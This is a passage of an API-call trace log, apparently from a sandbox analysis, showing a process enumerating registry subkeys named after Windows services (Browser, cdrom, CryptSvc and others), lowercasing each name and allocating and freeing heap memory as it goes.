lpUsedDefaultChar=0x0) returned 8 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.581] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.581] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.581] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.582] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.582] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.582] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0223.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.583] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.583] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.583] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.583] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0223.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.584] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0223.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0223.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.584] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0223.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0223.584] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0223.584] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0223.584] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f16e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0223.585] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0223.585] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f16e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0223.585] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0223.585] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0223.585] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0223.585] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0223.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0223.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0223.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0223.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0223.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0223.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0223.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, 